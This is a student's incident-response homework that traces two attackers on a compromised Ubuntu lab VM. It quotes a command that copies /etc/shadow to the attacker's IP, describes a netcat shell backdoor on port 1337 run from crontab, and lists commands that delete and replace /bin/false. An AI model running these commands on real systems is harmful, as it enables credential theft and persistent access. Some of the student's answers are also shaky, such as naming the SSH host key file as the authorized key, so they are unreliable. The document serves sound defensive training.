CMSC 491/791 Active Cyber Defense HW 6

Name: Daniel Roh

Due: October 16, 2019 at 7:00pm

Summary:

In this assignment you are given a misconfigured Ubuntu 18.04 VM that has been compromised by two separate attackers. Through the course of the lab you will perform incident response on the actions that the attackers performed.

Setup:

Download IncidentResponseLab.ova and import it into VirtualBox using File -> Import Appliance. Start the VM and use it to answer the following questions. It is easiest to do the questions in order.

Attacker 1

1. Answer the following questions about the authorized public key on the VM:
    a. **What is the full path of the file that stores the authorized key? Explain how you got your answer. (4 pts)**
    /etc/ssh/ssh_host_rsa_key.pub

    I got this file path as public/private keys are used by the ssh protocol. After looking around, I found that there was an ssh folder with public key files in it. In the file, there were several different keys in different files, but my guess is that since RSA is a commonly protocol, this is the key that I'm looking for.

    b. **What are the first 8 characters of the public key? (3 pts)**
    AAAAB3Nz

    c. **What are the username and hostname associated with the authorized key? (3 pts)**
    root@irlab-VirtualBox

2. Answer the following questions about Attacker 1, who used the authorized public key to connect to the VM:
    a. **When did Attacker 1 initially connect to the VM? Provide the month, day, hour, minute, and second. (3 pts)**

Attacker 1 connected to the VM at Oct 6th, 18:17:03.

b. **What protocol did Attacker 1 use to connect to the VM? (3 pts)**
Attacker 1 used ssh protocol

c. **Which user did Attacker 1 log in as? (3 pts)**
Attacker 1 logged in as the user: bob

d. **What is Attacker 1's IP address? (3 pts)**
192.168.56.223:55172

e. **How did you find the answers to questions 2a through 2d? (4 pts)**
The answers to these questions was found in the auth.log file in /var/log in ubuntu

3. **Does the user from question 2c have sudo privileges? Explain why or why not. (8 pts)**
The user bob does have sudo privileges. This is because, when looking at the auth.log of file. The attacker used various commands with sudo under bob's user. Also, when checking if the user is in the sudo group. Interestingly, bob is not part of the sudo group, but is able to use sudo commands.

4. Answer the following questions about the file that Attacker 1 exfiltrated from the VM:
   a. **What is the full command used to exfiltrate this file? Explain how you got your answer. (4 pts)**
   sudo /user/bin/scp /etc/shadow evilguy123@192.168.56.223:/home/evilguy123/

   I got this answer as it is the only command that the attacker used which deals with moving files over a network.

   b. **Why would an attacker want to exfiltrate this file? (4 pts)**
   An attacker would want to get this "shadow" file as the shadow file is the file that holds the passwords of all the users on an ubuntu os

5. Attacker 1 installed a backdoor during their attack session. Attacker 2 later uses this backdoor to gain access to the VM. Answer the following questions about this backdoor:
   a. **What port does the backdoor listen on? Explain how you got your answer. (3 pts)**
   Port 1337

I got this answer by finding the file that the attacker placed and taking a quick look at the code. Also, by running ss -tupln, I was able to find that port 1337 was used to listen for something

b. **How would an attacker connect to the backdoor? (3 pts)**
An attacker can connect to the backdoor by initiating a connection to port 1337, then the shell will be opened for them under the account of the user the backdoor code is placed in.

c. **What is the full path of the bash script used to launch the backdoor? Explain how you got your answer. (3 pts)**
/home/eve/notsuspicious.sh

The auth.log indicated a new file that was created while the attacker was on the system. While definitely not file “suspicious” of, it is the file that gave the back door.

d. **In a few sentences, summarize what this bash script does. (6 pts)**
The bash script starts a netcat service which listens on port 1337, this service waits until a connection attempt is made to port 1337. Once a connection is made, netcat grants a shell to the person connecting via that port.

e. What is the backdoor’s persistence mechanism? (3 pts)
The backdoor’s persistence mechanism is by having an edit on the “crontab” file to run the service every 5 minues.

f. **How would you remove the backdoor’s persistence mechanism? Be specific. (3 pts)**
One way to remove the backfoor’s persistence mechanism is to move the file to a different folder as the crontab only has access to the path that it is initially given. The other way would be to remove the entry to the crontab completely.

Attacker 2

6. Answer the following questions about Attacker 2, who used the backdoor installed by Attacker 1 connect to the VM:
    a. **Which user did Attacker 2 log in as? Explain how you got your answer. (3 pts)**
    Attacker 2 logged in as user: eve

This was given mainly by the backdoor file that was left behind. The file was given to the user eve, so that when the backdoor is used, it will go in to the users directory of eve. Also, the commands that the user eve used once logged in seemed suspicious compared to what a normal user may do.

b. **When did Attacker 2 run their first command on the VM? Provide the month, day, hour, minute, and second. Explain how you got your answer. (3 pts)**
First command on VM: Oct 6 18:22:20

While the first command appears to be on Oct 6 18:20:56, the one thing that made me think otherwise was that this command was a systemcall rather than a command made from the backdoor of /bin/bash. So the first command would be one from /bin/bash/

c. **What IP address did Attacker 2 copy a file from? Explain how you got your answer. (3 pts)**
192.168.58.77
I found this by looking at the bash history by using the command “history” in eve’s terminal. *(Thanks for the pointer RJ)*

7. **Does the user from question 6c have sudo privileges? Explain why or why not. (8 pts)**
The user eve does have sudo privileges.

This is because the user is part of the sudo user group

8. **Choose any malicious action that Attacker 2 performed during their attack session. Describe what this action is, why it weakened the VM’s security, and how you would mitigate this malicious action. (10 pts)**
The command /bin/rm /bin/false made by the attacker. This action so that the file false in the bin folder will get removed. This weakens the VM’s security as the file is responsible for limiting users from accessing other users accounts. With this file removed, the attacker can now log into previously restricted users.

9. **Choose a second malicious action that Attacker 2 performed during their attack session. Describe what this action is, why it weakened the VM’s security, and how you would mitigate this malicious action. (10 pts)**
The command /bin/ln -s /bin/bash /bin/false made by the attacker. This action makes is so that the false file is now a symbolically linked file which could be located elsewhere that is under the attackers control. With this, the attacker can control who can and cant

log in to the system.